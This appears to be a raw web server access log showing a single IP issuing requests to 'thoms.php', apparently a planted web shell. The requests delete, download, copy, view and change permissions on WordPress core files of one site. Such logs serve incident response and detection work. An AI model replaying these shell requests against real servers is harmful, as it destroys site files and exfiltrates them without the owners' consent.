45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?del=date.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=date.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:39 -0400] "GET /thoms.php?chmod=theme-templates.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:39 -0400] "GET /thoms.php?del=script-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:39 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:39 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:39 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?chmod=general-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?chmod=theme.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71110 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?chmod=date.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?chmod=embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 18753 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:40 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 11930 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /thoms.php?chmod=widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12156 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /thoms.php?dl=block-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /bft.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:41 -0400] "GET /bft.com.tw/wp-includes/ HTTP/1.1" 200 8785 "https://163.245.207.76:443/bft.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?del=class-wp-error.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?chmod=error-protection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?del=default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57932 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 11968 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:42 -0400] "GET /thoms.php?dl=locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14279 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?chmod=fonts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12779 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:43 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57913 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?chmod=formatting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48130 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13678 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?chmod=post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16581 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:44 -0400] "GET /thoms.php?del=class-wp-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57940 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14779 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwp-diff.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwp-diff.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?del=comment-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57905 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?del=images&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=images&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:45 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:46 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57922 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
